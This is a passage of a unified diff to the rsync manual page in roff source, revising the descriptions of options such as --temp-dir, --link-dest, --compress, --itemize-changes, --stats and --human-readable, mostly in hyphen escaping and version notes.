induce a change to a file that the joe user\n has no permissions to change.\n .IP\n-The following command does a local copy into the \"dest/\" directory as user \"joe\"\n-(assuming you've installed support/lsh into a directory on your $PATH):\n+The following command does a local copy into the \"dest/\" dir as user \"joe\"\n+(assuming you've installed support/lsh into a dir on your $PATH):\n .RS 4\n .IP\n .nf\n sudo rsync -aive lsh -M--copy-as=joe src/ lh:dest/\n .fi\n .RE\n-.IP \"\\fB\\-\\-temp\\-dir=DIR\\fP, \\fB\\-T\\fP\"\n+.IP \"\\fB\\-\\-temp-dir=DIR\\fP, \\fB\\-T\\fP\"\n This option instructs rsync to use DIR as a scratch directory when creating\n temporary copies of the files transferred on the receiving side.  The\n default behavior is to create each temporary file in the same directory as\n-the associated destination file.  The temp-file\n-names inside the specified DIR will not be prefixed with an extra dot,\n-though they will still have a random suffix added.\n+the associated destination file.  Beginning with rsync 3.1.1, the temp-file\n+names inside the specified DIR will not be prefixed with an extra dot\n+(though they will still have a random suffix added).\n .IP\n This option is most often used when the receiving disk partition does not\n have enough free space to hold a copy of the largest file in the transfer.\n@@ -2940,38 +2670,40 @@ partition), rsync will not be able to rename each received temporary file\n over the top of the associated destination file, but instead must copy it\n into place.  Rsync does this by copying the file over the top of the\n destination file, which means that the destination file will contain\n-truncated data during this copy.  If this were not done this way,\n+truncated data during this copy.  If this were not done this way (even if\n+the destination file were first removed, the data locally copied to a\n+temporary file in the destination directory, and then renamed into place)\n it would be possible for the old file to continue taking up disk space (if\n someone had it open), and thus there might not be enough room to fit the\n new version on the disk at the same time.\n .IP\n If you are using this option for reasons other than a shortage of disk\n-space, you may wish to combine it with the \\fB\\-\\-delay\\-updates\\fP\n+space, you may wish to combine it with the \\fB\\-\\-delay-updates\\fP\n option, which will ensure that all copied files get put into subdirectories\n in the destination hierarchy, awaiting the end of the transfer.  If you\n don't have enough room to duplicate all the arriving files on the\n destination partition, another way to tell rsync that you aren't overly\n-concerned about disk space is to use the \\fB\\-\\-partial\\-dir\\fP option\n+concerned about disk space is to use the \\fB\\-\\-partial-dir\\fP option\n with a relative path; because this tells rsync that it is OK to stash off a\n-copy of a single file in a subdirectory in the destination hierarchy, rsync will\n+copy of a single file in a subdir in the destination hierarchy, rsync will\n use the partial-dir as a staging area to bring over the copied file, and\n-then rename it into place from there. (Specifying a \\fB\\-\\-partial\\-dir\\fP\n+then rename it into place from there. (Specifying a \\fB\\-\\-partial-dir\\fP\n with an absolute path does not have this side-effect.)\n .IP \"\\fB\\-\\-fuzzy\\fP, \\fB\\-y\\fP\"\n This option tells rsync that it should look for a basis file for any\n-destination file that is missing.  With this option, rsync looks in the same\n+destination file that is missing.  The current algorithm looks in the same\n directory as the destination file for either a file that has an identical\n size and modified-time, or a similarly-named file.  If found, rsync uses\n the fuzzy basis file to try to speed up the transfer.\n .IP\n If the option is repeated, the fuzzy scan will also be done in any matching\n alternate destination directories that are specified via\n-\\fB\\-\\-compare\\-dest\\fP, \\fB\\-\\-copy\\-dest\\fP, or \\fB\\-\\-link\\-dest\\fP.\n+\\fB\\-\\-compare-dest\\fP, \\fB\\-\\-copy-dest\\fP, or \\fB\\-\\-link-dest\\fP.\n .IP\n Note that the use of the \\fB\\-\\-delete\\fP option might get rid of any\n-potential fuzzy-match files, so either use \\fB\\-\\-delete\\-after\\fP or\n+potential fuzzy-match files, so either use \\fB\\-\\-delete-after\\fP or\n specify some filename exclusions if you need to prevent this.\n-.IP \"\\fB\\-\\-compare\\-dest=DIR\\fP\"\n+.IP \"\\fB\\-\\-compare-dest=DIR\\fP\"\n This option instructs rsync to use \\fIDIR\\fP on the destination machine as an\n additional hierarchy to compare destination files against doing transfers\n (if the files are missing in the destination directory).  If a file is\n@@ -2981,7 +2713,7 @@ sparse backup of just files that have changed from an earlier backup.  This\n option is typically used to copy into an empty (or newly created)\n directory.\n .IP\n-Multiple \\fB\\-\\-compare\\-dest\\fP directories may be\n+Beginning in version 2.6.4, multiple \\fB\\-\\-compare-dest\\fP directories may be\n provided, which will cause rsync to search the list in the order specified\n for an exact match.  If a match is found that differs only in attributes, a\n local copy is made and the attributes updated.  If a match is not found, a\n@@ -2989,28 +2721,28 @@ basis file from one of the \\fIDIRs\\fP will be selected to try to speed up the\n transfer.\n .IP\n If \\fIDIR\\fP is a relative path, it is relative to the destination directory.\n-See also \\fB\\-\\-copy\\-dest\\fP and \\fB\\-\\-link\\-dest\\fP.\n+See also \\fB\\-\\-copy-dest\\fP and \\fB\\-\\-link-dest\\fP.\n .IP\n-NOTE: rsync will remove a file from a\n+NOTE: beginning with version 3.1.0, rsync will remove a file from a\n non-empty destination hierarchy if an exact match is found in one of the\n-compare-dest hierarchies, making the end result more closely match a fresh\n-copy.\n-.IP \"\\fB\\-\\-copy\\-dest=DIR\\fP\"\n-This option behaves like \\fB\\-\\-compare\\-dest\\fP, but rsync will also copy\n+compare-dest hierarchies (making the end result more closely match a fresh\n+copy).\n+.IP \"\\fB\\-\\-copy-dest=DIR\\fP\"\n+This option behaves like \\fB\\-\\-compare-dest\\fP, but rsync will also copy\n unchanged files found in \\fIDIR\\fP to the destination directory using a local\n copy.  This is useful for doing transfers to a new destination while\n leaving existing files intact, and then doing a flash-cutover when all\n files have been successfully transferred.\n .IP\n-Multiple \\fB\\-\\-copy\\-dest\\fP directories may be provided, which will cause rsync\n+Multiple \\fB\\-\\-copy-dest\\fP directories may be provided, which will cause rsync\n to search the list in the order specified for an unchanged file.  If a\n match is not found, a basis file from one of the \\fIDIRs\\fP will be selected to\n try to speed up the transfer.\n .IP\n If \\fIDIR\\fP is a relative path, it is relative to the destination directory.\n-See also \\fB\\-\\-compare\\-dest\\fP and \\fB\\-\\-link\\-dest\\fP.\n-.IP \"\\fB\\-\\-link\\-dest=DIR\\fP\"\n-This option behaves like \\fB\\-\\-copy\\-dest\\fP, but unchanged files are\n+See also \\fB\\-\\-compare-dest\\fP and \\fB\\-\\-link-dest\\fP.\n+.IP \"\\fB\\-\\-link-dest=DIR\\fP\"\n+This option behaves like \\fB\\-\\-copy-dest\\fP, but unchanged files are\n hard linked from \\fIDIR\\fP to the destination directory.  The files must be\n identical in all preserved attributes (e.g. permissions, possibly\n ownership) in order for the files to be linked together.  An example:\n@@ -3027,66 +2759,48 @@ option that squishes root to a single user, or mounts a removable drive\n with generic ownership (such as OS X's \"Ignore ownership on this volume\"\n option).\n .IP\n-Multiple \\fB\\-\\-link\\-dest\\fP directories may be\n+Beginning in version 2.6.4, multiple \\fB\\-\\-link-dest\\fP directories may be\n provided, which will cause rsync to search the list in the order specified\n for an exact match (there is a limit of 20 such directories).  If a match\n is found that differs only in attributes, a local copy is made and the\n attributes updated.  If a match is not found, a basis file from one of the\n \\fIDIRs\\fP will be selected to try to speed up the transfer.\n .IP\n-Not every filesystem can hard-link a symlink, a device node, a FIFO or a\n-socket, and the destination need not agree with the one rsync was built on\\ \\-\\- macOS builds on APFS, which can, and may write to HFS+, which cannot.\n-Where the destination refuses to link such an entry, it is copied instead\n-and the transfer carries on, so only that entry loses the space saving.\n-This applies to any refusal, because the error alone does not identify one:\n-link(2) reports \\fBEPERM\\fP both for a filesystem without hard links and for an\n-ordinary permission refusal.  Regular files have always behaved this way.\n-.IP\n-One case is not covered.  With \\fB\\-\\-hard\\-links\\fP (\\fB\\-H\\fP), a group of\n-such entries hard-linked to \\fIeach other\\fP in the source needs a second link,\n-from the first member to the rest, inside the destination itself.  Where\n-that link is refused too\\ \\-\\- a destination that cannot hard-link the type at\n-all\\ \\-\\- the members after the first are not created and the transfer fails.\n-A \\fB\\-\\-link\\-dest\\fP on another filesystem is fine: only the link to \\fIDIR\\fP is\n-impossible there, and the ones within the destination still succeed.\n-.IP\n This option works best when copying into an empty destination hierarchy, as\n existing files may get their attributes tweaked, and that can affect\n alternate destination files via hard-links.  Also, itemizing of changes can\n-get a bit muddled.  Note that prior to version 3.1.0 (September 2013), an\n+get a bit muddled.  Note that prior to version 3.1.0, an\n alternate-directory exact match would never be found (nor linked into the\n destination) when a destination file already exists.\n .IP\n-Note that if you combine this option with \\fB\\-\\-ignore\\-times\\fP, rsync will not\n+Note that if you combine this option with \\fB\\-\\-ignore-times\\fP, rsync will not\n link any files together because it only links identical files together as a\n substitute for transferring the file, never as an additional check after\n the file is updated.\n .IP\n If \\fIDIR\\fP is a relative path, it is relative to the destination directory.\n-See also \\fB\\-\\-compare\\-dest\\fP and \\fB\\-\\-copy\\-dest\\fP.\n+See also \\fB\\-\\-compare-dest\\fP and \\fB\\-\\-copy-dest\\fP.\n .IP\n-Note that rsync versions prior to 2.6.1 (April 2004) had a bug that could prevent\n-\\fB\\-\\-link\\-dest\\fP from working properly for a non-super-user when\n+Note that rsync versions prior to 2.6.1 had a bug that could prevent\n+\\fB\\-\\-link-dest\\fP from working properly for a non-super-user when\n \\fB\\-\\-owner\\fP (\\fB\\-o\\fP) was specified (or implied).  You can work-around\n-this bug by avoiding the \\fB\\-o\\fP option (or using \\fB\\-\\-no\\-o\\fP) when sending to a\n-really old remote rsync.\n+this bug by avoiding the \\fB\\-o\\fP option (or using \\fB\\-\\-no-o\\fP) when sending to an\n+old rsync.\n .IP \"\\fB\\-\\-compress\\fP, \\fB\\-z\\fP\"\n With this option, rsync compresses the file data as it is sent to the\n destination machine, which reduces the amount of data being transmitted\\ \\-\\-\n something that is useful over a slow connection.\n .IP\n Rsync supports multiple compression methods and will choose one for you\n-unless you force the choice using the \\fB\\-\\-compress\\-choice\\fP (\\fB\\-\\-zc\\fP)\n+unless you force the choice using the \\fB\\-\\-compress-choice\\fP (\\fB\\-\\-zc\\fP)\n option.\n .IP\n Run \\fBrsync\\ \\-\\-version\\fP to see the default compress list compiled into your\n version.\n .IP\n-When both sides of the transfer are at least 3.2.0 (June 2020),\n-each side chooses its own\n-most-preferred algorithm that also appears in the peer's list.  Both sides\n-order their lists strongest-first, so they converge on the strongest mutual\n-choice.  If no common compress choice is found, rsync exits with\n+When both sides of the transfer are at least 3.2.0, rsync chooses the first\n+algorithm in the client's list of choices that is also in the server's list\n+of choices.  If no common compress choice is found, rsync exits with\n an error.  If the remote rsync is too old to support checksum negotiation,\n its list is assumed to be \"zlib\".\n .IP\n@@ -3104,11 +2818,11 @@ option and require the use of \\fB\\-zz\\fP because their compression library was\n not compatible with the default zlib compression method.  You can usually\n ignore this weirdness unless the rsync server complains and tells you to\n specify \\fB\\-zz\\fP.\n-.IP \"\\fB\\-\\-compress\\-choice=STR\\fP, \\fB\\-\\-zc=STR\\fP\"\n+.IP \"\\fB\\-\\-compress-choice=STR\\fP, \\fB\\-\\-zc=STR\\fP\"\n This option can be used to override the automatic negotiation of the\n compression algorithm that occurs when \\fB\\-\\-compress\\fP is used.  The\n option implies \\fB\\-\\-compress\\fP unless \"none\" was specified, which\n-instead implies \\fB\\-\\-no\\-compress\\fP.\n+instead implies \\fB\\-\\-no-compress\\fP.\n .IP\n The compression options that you may be able to use are:\n .IP\n@@ -3128,18 +2842,18 @@ The compression options that you may be able to use are:\n Run \\fBrsync\\ \\-\\-version\\fP to see the default compress list compiled into your\n version (which may differ from the list above).\n .IP\n-Note that if you see an error about an option named \\fB\\-\\-old\\-compress\\fP or\n-\\fB\\-\\-new\\-compress\\fP, this is rsync trying to send the \\fB\\-\\-compress\\-choice=zlib\\fP\n-or \\fB\\-\\-compress\\-choice=zlibx\\fP option in a backward-compatible manner that\n+Note that if you see an error about an option named \\fB\\-\\-old-compress\\fP or\n+\\fB\\-\\-new-compress\\fP, this is rsync trying to send the \\fB\\-\\-compress-choice=zlib\\fP\n+or \\fB\\-\\-compress-choice=zlibx\\fP option in a backward-compatible manner that\n more rsync versions understand.  This error indicates that the older rsync\n version on the server will not allow you to force the compression type.\n .IP\n Note that the \"zlibx\" compression algorithm is just the \"zlib\" algorithm\n with matched data excluded from the compression stream (to try to make it\n more compatible with an external zlib implementation).\n-.IP \"\\fB\\-\\-compress\\-level=NUM\\fP, \\fB\\-\\-zl=NUM\\fP\"\n+.IP \"\\fB\\-\\-compress-level=NUM\\fP, \\fB\\-\\-zl=NUM\\fP\"\n Explicitly set the compression level to use (see \\fB\\-\\-compress\\fP,\n-\\fB\\-z\\fP) instead of using the default.  The \\fB\\-\\-compress\\fP option is\n+\\fB\\-z\\fP) instead of letting it default.  The \\fB\\-\\-compress\\fP option is\n implied as long as the level chosen is not a \"don't compress\" level for the\n compression algorithm that is in effect (e.g. zlib compression treats level\n 0 as \"off\").\n@@ -3147,7 +2861,7 @@ compression algorithm that is in effect (e.g. zlib compression treats level\n The level values vary depending on the checksum in effect.  Because rsync\n will negotiate a checksum choice by default (when the remote rsync is new\n enough), it can be good to combine this option with a\n-\\fB\\-\\-compress\\-choice\\fP (\\fB\\-\\-zc\\fP) option unless you're sure of the\n+\\fB\\-\\-compress-choice\\fP (\\fB\\-\\-zc\\fP) option unless you're sure of the\n choice in effect.  For example:\n .RS 4\n .IP\n@@ -3174,29 +2888,12 @@ If you want to know the compression level that is in effect, specify\n \\fB\\-\\-debug=nstr\\fP to see the \"negotiated string\" results.  This will\n report something like \"\\fBClient\\ compress:\\ zstd\\ (level\\ 3)\\fP\" (along with the\n checksum choice in effect).\n-.IP \"\\fB\\-\\-compress\\-threads=NUM\\fP, \\fB\\-\\-zt=NUM\\fP\"\n-Set the number of threads to spawn when compressing data. Setting this\n-option to 1 or more will instruct the compression library to spawn 1 or\n-more threads for compression. Ideally, increasing the number of threads\n-will increase transfer speed if the transfer is CPU bound on the sender.\n-.IP\n-This option does not affect decompression.\n-.IP\n-Compression algorithms that allow threading:\n-.IP\n-.RS\n-.IP o\n-\\fBzstd\\fP (only when libzstd is compiled with threading support)\n-.RE\n-.IP\n-This option is ignored if one of the above alogithms is not selected as the\n-\\fB\\-\\-compression\\-choice\\fP or if compression not enabled.\n-.IP \"\\fB\\-\\-skip\\-compress=LIST\\fP\"\n+.IP \"\\fB\\-\\-skip-compress=LIST\\fP\"\n \\fBNOTE:\\fP no compression method currently supports per-file compression\n changes, so this option has no effect.\n .IP\n Override the list of file suffixes that will be compressed as little as\n-possible.  Rsync can set the compression level on a per-file basis based on\n+possible.  Rsync sets the compression level on a per-file basis based on\n the file's suffix.  If the compression algorithm has an \"off\" level, then\n no compression occurs for those files.  Other algorithms that support\n changing the streaming level on-the-fly will have the level minimized to\n@@ -3323,17 +3020,17 @@ zip\n zst\n .RE\n .IP\n-This list will be replaced by your \\fB\\-\\-skip\\-compress\\fP list in all but one\n+This list will be replaced by your \\fB\\-\\-skip-compress\\fP list in all but one\n situation: a copy from a daemon rsync will add your skipped suffixes to its\n list of non-compressing files (and its list may be configured to a\n different default).\n-.IP \"\\fB\\-\\-numeric\\-ids\\fP\"\n+.IP \"\\fB\\-\\-numeric-ids\\fP\"\n With this option rsync will transfer numeric group and user IDs rather than\n using user and group names and mapping them at both ends.\n .IP\n By default rsync will use the username and groupname to determine what\n ownership to give files.  The special uid 0 and the special group 0 are\n-never mapped via user/group names even if the \\fB\\-\\-numeric\\-ids\\fP option is not\n+never mapped via user/group names even if the \\fB\\-\\-numeric-ids\\fP option is not\n specified.\n .IP\n If a user or group has no name on the source system or it has no match on\n@@ -3380,22 +3077,18 @@ via a \"\\fB*\\fP\" or using an empty name.  For instance:\n .fi\n .RE\n .IP\n-An empty \\fBFROM\\fP value matches only sender-side IDs that have no name.  It\n-is not a wildcard for named users or groups; use \"\\fB*\\fP\" when you want to map\n-every sender-side name.\n-.IP\n-When the \\fB\\-\\-numeric\\-ids\\fP option is used, the sender does not send any\n+When the \\fB\\-\\-numeric-ids\\fP option is used, the sender does not send any\n names, so all the IDs are treated as having an empty name.  This means that\n you will need to specify numeric \\fBFROM\\fP values if you want to map these\n nameless IDs to different values.\n .IP\n For the \\fB\\-\\-usermap\\fP option to work, the receiver will need to be running as\n-a super-user (see also the \\fB\\-\\-super\\fP and \\fB\\-\\-fake\\-super\\fP\n+a super-user (see also the \\fB\\-\\-super\\fP and \\fB\\-\\-fake-super\\fP\n options).  For the \\fB\\-\\-groupmap\\fP option to work, the receiver will need to\n have permissions to set that group.\n .IP\n-The \\fB\\-\\-usermap\\fP option implies the\n-\\fB\\-\\-owner\\fP (\\fB\\-o\\fP) option, and the \\fB\\-\\-groupmap\\fP option implies the\n+Starting with rsync 3.2.4, the \\fB\\-\\-usermap\\fP option implies the\n+\\fB\\-\\-owner\\fP (\\fB\\-o\\fP) option while the \\fB\\-\\-groupmap\\fP option implies the\n \\fB\\-\\-group\\fP (\\fB\\-g\\fP) option (since rsync needs to have those options\n enabled for the mapping options to work).\n .IP\n@@ -3404,7 +3097,7 @@ about wildcard characters, but a modern rsync handles this automatically.\n .IP \"\\fB\\-\\-chown=USER:GROUP\\fP\"\n This option forces all files to be owned by USER with group GROUP.  This is\n a simpler interface than using \\fB\\-\\-usermap\\fP & \\fB\\-\\-groupmap\\fP\n-directly, but it is implemented using those options internally, thus they\n+directly, but it is implemented using those options internally so they\n cannot be mixed.  If either the USER or GROUP is empty, no mapping for the\n omitted user/group will occur.  If GROUP is empty, the trailing colon may\n be omitted, but if USER is empty, a leading colon must be supplied.\n@@ -3445,7 +3138,7 @@ able to set.  By default no special socket options are set.  This only\n affects direct socket connections to a remote rsync daemon.\n .IP\n See also the daemon version of the \\fB\\-\\-sockopts\\fP option.\n-.IP \"\\fB\\-\\-blocking\\-io\\fP\"\n+.IP \"\\fB\\-\\-blocking-io\\fP\"\n This tells rsync to use blocking I/O when launching a remote shell\n transport.  If the remote shell is either rsh or remsh, rsync defaults to\n using blocking I/O, otherwise it defaults to using non-blocking I/O. (Note\n@@ -3457,13 +3150,13 @@ single letter for the mode, and use upper or lower case.\n .IP\n The main use of this option is to change Full buffering to Line buffering\n when rsync's output is going to a file or pipe.\n-.IP \"\\fB\\-\\-itemize\\-changes\\fP, \\fB\\-i\\fP\"\n+.IP \"\\fB\\-\\-itemize-changes\\fP, \\fB\\-i\\fP\"\n Requests a simple itemized list of the changes that are being made to each\n file, including attribute changes.  This is exactly the same as specifying\n-\\fB\\-\\-out\\-format='%i\\ %n%L'\\fP.  If you repeat the option, unchanged\n+\\fB\\-\\-out-format='%i\\ %n%L'\\fP.  If you repeat the option, unchanged\n files will also be output, but only if the receiving rsync is at least\n-version 2.6.7 (March 2006). You can use \\fB\\-vv\\fP with older versions of rsync,\n-but that also turns on the output of other verbose messages.\n+version 2.6.7 (you can use \\fB\\-vv\\fP with older versions of rsync, but that\n+also turns on the output of other verbose messages).\n .IP\n The \"%i\" escape has a cryptic output that is 11 letters long.  The general\n format is like the string \\fBYXcstpoguax\\fP, where \\fBY\\fP is replaced by the type\n@@ -3483,7 +3176,7 @@ A \\fBc\\fP means that a local change/creation is occurring for the item (such\n as the creation of a directory or the changing of a symlink, etc.).\n .IP o\n A \\fBh\\fP means that the item is a hard link to another item (requires\n-\\fB\\-\\-hard\\-links\\fP).\n+\\fB\\-\\-hard-links\\fP).\n .IP o\n A \\fB.\\fP means that the item is not being updated (though it might have\n attributes that are being modified).\n@@ -3519,7 +3212,7 @@ The attribute that is associated with each letter is as follows:\n A \\fBc\\fP means either that a regular file has a different checksum (requires\n \\fB\\-\\-checksum\\fP) or that a symlink, device, or special file has a\n changed value.  Note that if you are sending files to an rsync prior to\n-3.0.1 (April 2008), this change flag will be present only for checksum-differing\n+3.0.1, this change flag will be present only for checksum-differing\n regular files.\n .IP o\n A \\fBs\\fP means the size of a regular file is different and will be updated\n@@ -3530,7 +3223,9 @@ the sender's value (requires \\fB\\-\\-times\\fP).  An alternate value of\n \\fBT\\fP means that the modification time will be set to the transfer time,\n which happens when a file/symlink/device is updated without\n \\fB\\-\\-times\\fP and when a symlink is changed and the receiver can't\n-set its time.\n+set its time. (Note: when using an rsync 3.0.0 client, you might see the\n+\\fBs\\fP flag combined with \\fBt\\fP instead of the proper \\fBT\\fP flag for this\n+time-setting failure.)\n .IP o\n A \\fBp\\fP means the permissions are different and are being updated to the\n sender's value (requires \\fB\\-\\-perms\\fP).\n@@ -3555,16 +3250,16 @@ to the sender's value (requires \\fB\\-\\-crtimes\\fP)\n \\fBb\\fP means that both the access and create times are being updated\n .RE\n .IP o\n-An \\fBa\\fP means that the ACL information is being changed.\n+The \\fBa\\fP means that the ACL information is being changed.\n .IP o\n-An \\fBx\\fP means that the extended attribute information is being changed.\n+The \\fBx\\fP means that the extended attribute information is being changed.\n .RE\n .IP\n One other output is possible: when deleting files, the \"%i\" will output the\n string \"\\fB*deleting\\fP\" for each item that is being removed (assuming that you\n are talking to a recent enough rsync that it logs deletions instead of\n outputting them as a verbose message).\n-.IP \"\\fB\\-\\-out\\-format=FORMAT\\fP\"\n+.IP \"\\fB\\-\\-out-format=FORMAT\\fP\"\n This allows you to specify exactly what the rsync client outputs to the\n user on a per-update basis.  The format is a text string containing\n embedded single-character escape sequences prefixed with a percent (%)\n@@ -3573,14 +3268,14 @@ character.  A default format of \"%n%L\" is assumed if either\n name of the file and, if the item is a link, where it points).  For a full\n list of the possible escape characters, see the \\fBlog\\ format\\fP setting in the rsyncd.conf manpage.\n .IP\n-Specifying the \\fB\\-\\-out\\-format\\fP option implies the \\fB\\-\\-info=name\\fP\n-option, which will mention each file, directory, etc. that gets updated in a\n+Specifying the \\fB\\-\\-out-format\\fP option implies the \\fB\\-\\-info=name\\fP\n+option, which will mention each file, dir, etc. that gets updated in a\n significant way (a transferred file, a recreated symlink/device, or a\n touched directory).  In addition, if the itemize-changes escape (%i) is\n-included in the string (e.g. if the \\fB\\-\\-itemize\\-changes\\fP option was\n+included in the string (e.g. if the \\fB\\-\\-itemize-changes\\fP option was\n used), the logging of names increases to mention any item that is changed\n in any way (as long as the receiving side is at least 2.6.4).  See the\n-\\fB\\-\\-itemize\\-changes\\fP option for a description of the output of \"%i\".\n+\\fB\\-\\-itemize-changes\\fP option for a description of the output of \"%i\".\n .IP\n Rsync will output the out-format string prior to a file's transfer unless\n one of the transfer-statistic escapes is requested, in which case the\n@@ -3588,12 +3283,12 @@ logging is done at the end of the file's transfer.  When this late logging\n is in effect and \\fB\\-\\-progress\\fP is also specified, rsync will also\n output the name of the file being transferred prior to its progress\n information (followed, of course, by the out-format output).\n-.IP \"\\fB\\-\\-log\\-file=FILE\\fP\"\n-This option causes rsync to write the log of what it is doing to a file.  This is\n+.IP \"\\fB\\-\\-log-file=FILE\\fP\"\n+This option causes rsync to log what it is doing to a file.  This is\n similar to the logging that a daemon does, but can be requested for the\n client side and/or the server side of a non-daemon transfer.  If specified\n as a client option, transfer logging will be enabled with a default format\n-of \"%i %n%L\".  See the \\fB\\-\\-log\\-file\\-format\\fP option if you wish to\n+of \"%i %n%L\".  See the \\fB\\-\\-log-file-format\\fP option if you wish to\n override this.\n .IP\n Here's an example command that requests the remote side to log what is\n@@ -3608,19 +3303,19 @@ rsync -av --remote-option=--log-file=/tmp/rlog src/ dest/\n This is very useful if you need to debug why a connection is closing\n unexpectedly.\n .IP\n-See also the daemon version of the \\fB\\-\\-log\\-file\\fP option.\n-.IP \"\\fB\\-\\-log\\-file\\-format=FORMAT\\fP\"\n+See also the daemon version of the \\fB\\-\\-log-file\\fP option.\n+.IP \"\\fB\\-\\-log-file-format=FORMAT\\fP\"\n This allows you to specify exactly what per-update logging is put into the\n-file specified by the \\fB\\-\\-log\\-file\\fP option (which must also be\n+file specified by the \\fB\\-\\-log-file\\fP option (which must also be\n specified for this option to have any effect).  If you specify an empty\n string, updated files will not be mentioned in the log file.  For a list of\n the possible escape characters, see the \\fBlog\\ format\\fP\n setting in the rsyncd.conf manpage.\n .IP\n-The default FORMAT used if \\fB\\-\\-log\\-file\\fP is specified and this\n+The default FORMAT used if \\fB\\-\\-log-file\\fP is specified and this\n option is not is '%i %n%L'.\n .IP\n-See also the daemon version of the \\fB\\-\\-log\\-file\\-format\\fP\n+See also the daemon version of the \\fB\\-\\-log-file-format\\fP\n option.\n .IP \"\\fB\\-\\-stats\\fP\"\n This tells rsync to print a verbose set of statistics on the file transfer,\n@@ -3638,7 +3333,7 @@ which includes directories, symlinks, etc.  The total count will be\n followed by a list of counts by filetype (if the total is non-zero).  For\n example: \"(reg: 5, dir: 3, link: 2, dev: 1, special: 1)\" lists the totals\n for regular files, directories, symlinks, devices, and special files.  If\n-any value is 0, it is completely omitted from the list.\n+any of value is 0, it is completely omitted from the list.\n .IP o\n \\fBNumber\\ of\\ created\\ files\\fP is the count of how many \"files\" (generic\n sense) were created (as opposed to updated).  The total count will be\n@@ -3648,19 +3343,12 @@ followed by a list of counts by filetype (if the total is non-zero).\n sense) were deleted.  The total count will be\n followed by a list of counts by filetype (if the total is non-zero).\n Note that this line is only output if deletions are in effect, and only\n-if the negotiated protocol is at least 31 (the default when both sides\n-are 3.1.0, September 2013, or newer).\n-.IP o\n-\\fBNumber\\ of\\ 4\\ KiB\\ logical\\ blocks\\ touched\\fP is the number of unique 4 KiB\n-logical file regions covered by rsync's own write operations. This metric\n-decouples network payload from the scope of local file modifications.\n-For example, a small amount of \\fILiteral data\\fP can result in a massive\n-number of touched blocks if the modifications are highly scattered\n-across a file, especially when using \\fB\\-\\-inplace\\fP.\n+if protocol 31 is being used (the default for rsync 3.1.x).\n .IP o\n \\fBNumber\\ of\\ regular\\ files\\ transferred\\fP is the count of normal files that\n were updated via rsync's delta-transfer algorithm, which does not include\n-directories, symlinks, etc.\n+dirs, symlinks, etc.  Note that rsync 3.1.0 added the word \"regular\" into\n+this heading.\n .IP o\n \\fBTotal\\ file\\ size\\fP is the total sum of all file sizes in the transfer.\n This does not count any size for directories or special files, but does\n@@ -3669,7 +3357,7 @@ include the size of symlinks.\n \\fBTotal\\ transferred\\ file\\ size\\fP is the total sum of all files sizes for\n just the transferred files.\n .IP o\n-\\fBLiteral\\ data\\fP is how much unmatched file-update data the sender had to send to\n+\\fBLiteral\\ data\\fP is how much unmatched file-update data we had to send to\n the receiver for it to recreate the updated files.\n .IP o\n \\fBMatched\\ data\\fP is how much data the receiver got locally when recreating\n@@ -3695,18 +3383,17 @@ received by the client side from the server side. \"Non-message\" bytes\n means that we don't count the bytes for a verbose message that the server\n sent to us, which makes the stats more consistent.\n .RE\n-.IP \"\\fB\\-\\-8\\-bit\\-output\\fP, \\fB\\-8\\fP\"\n+.IP \"\\fB\\-\\-8-bit-output\\fP, \\fB\\-8\\fP\"\n This tells rsync to leave all high-bit characters unescaped in the output\n-(to standard output or standard error)\n instead of trying to test them to see if they're valid in the current\n locale and escaping the invalid ones.  All control characters (but never\n tabs) are always escaped, regardless of this option's setting.\n .IP\n-The escape idiom that started in 2.6.7 (March 2006) is to output a literal backslash\n+The escape idiom that started in 2.6.7 is to output a literal backslash\n (\\fB\\\\\\fP) and a hash (\\fB#\\fP), followed by exactly 3 octal digits.  For example, a\n newline would output as \"\\fB\\\\#012\\fP\".  A literal backslash that is in a\n filename is not escaped unless it is followed by a hash and 3 digits (0-9).\n-.IP \"\\fB\\-\\-human\\-readable\\fP, \\fB\\-h\\fP\"\n+.IP \"\\fB\\-\\-human-readable\\fP, \\fB\\-h\\fP\"\n Output numbers in a more human-readable format.  There are 3 possible levels:\n .RS\n .IP\n@@ -3723,27 +3410,18 @@ output numbers in units of 1024.\n .IP\n The default is human-readable level 1.  Each \\fB\\-h\\fP option increases the\n level by one.  You can take the level down to 0 (to output numbers as pure\n-digits) by specifying the \\fB\\-\\-no\\-human\\-readable\\fP (\\fB\\-\\-no\\-h\\fP) option.  Progress\n-rates are an exception: the default and \\fB\\-h\\fP use level 2, \\fB\\-\\-no\\-h\\fP uses\n-level 0 and \\fB\\-hh\\fP uses level 3.\n+digits) by specifying the \\fB\\-\\-no-human-readable\\fP (\\fB\\-\\-no-h\\fP) option.\n .IP\n The unit letters that are appended in levels 2 and 3 are: \\fBK\\fP (kilo), \\fBM\\fP\n-(mega), \\fBG\\fP (giga), \\fBT\\fP (tera), \\fBP\\fP (peta) or \\fBE\\fP (exa). For example, a\n-1234567-byte file would output as 1.23M in level-2 (assuming that a\n-period is your local decimal point). Dynamic precision is applied, so the\n-three most-significant digits are shown (for example: 3.45M \\-> 46.7M \\->\n-523M \\-> 1.24G \\-> ...).\n-Additionally an \\fBi\\fP is appended in level-3 to indicate the binary base.\n-The same file would output as 1.17Mi in level-3.\n-Counts, such as the number of files, never get a unit suffix: in levels 2\n-and 3 they are shown as in level 1 (for example: 523,297,101 files to\n-consider).\n-.IP\n-Backward compatibility note: versions of rsync prior to 3.1.0 (September 2013) do not\n+(mega), \\fBG\\fP (giga), \\fBT\\fP (tera), or \\fBP\\fP (peta).  For example, a 1234567-byte\n+file would output as 1.23M in level-2 (assuming that a period is your local\n+decimal point).\n+.IP\n+Backward compatibility note: versions of rsync prior to 3.1.0 do not\n support human-readable level 1, and they default to level 0.  Thus,\n specifying one or two \\fB\\-h\\fP options will behave in a comparable manner in\n-old and new versions as long as you didn't specify a \\fB\\-\\-no\\-h\\fP option prior\n-to one or more \\fB\\-h\\fP options.  See the \\fB\\-\\-list\\-only\\fP option for one\n+old and new versions as long as you didn't specify a \\fB\\-\\-no-h\\fP option prior\n+to one or more \\fB\\-h\\fP options.  See the \\fB\\-\\-list-only\\fP option for one\n difference.\n .IP \"\\fB\\-\\-partial\\fP\"\n By default, rsync will delete any partially transferred file if the\n@@ -3751,22 +3429,22 @@ transfer is interrupted.  In some circumstances it is more desirable to\n keep partially transferred files.  Using the \\fB\\-\\-partial\\fP option tells rsync\n to keep the partial file which should make a subsequent transfer of the\n rest of the file much faster.\n-.IP \"\\fB\\-\\-partial\\-dir=DIR\\fP\"\n+.IP \"\\fB\\-\\-partial-dir=DIR\\fP\"\n This option modifies the behavior of the \\fB\\-\\-partial\\fP option while\n also implying that it be enabled.  This enhanced partial-file method puts\n any partially transferred files into the specified 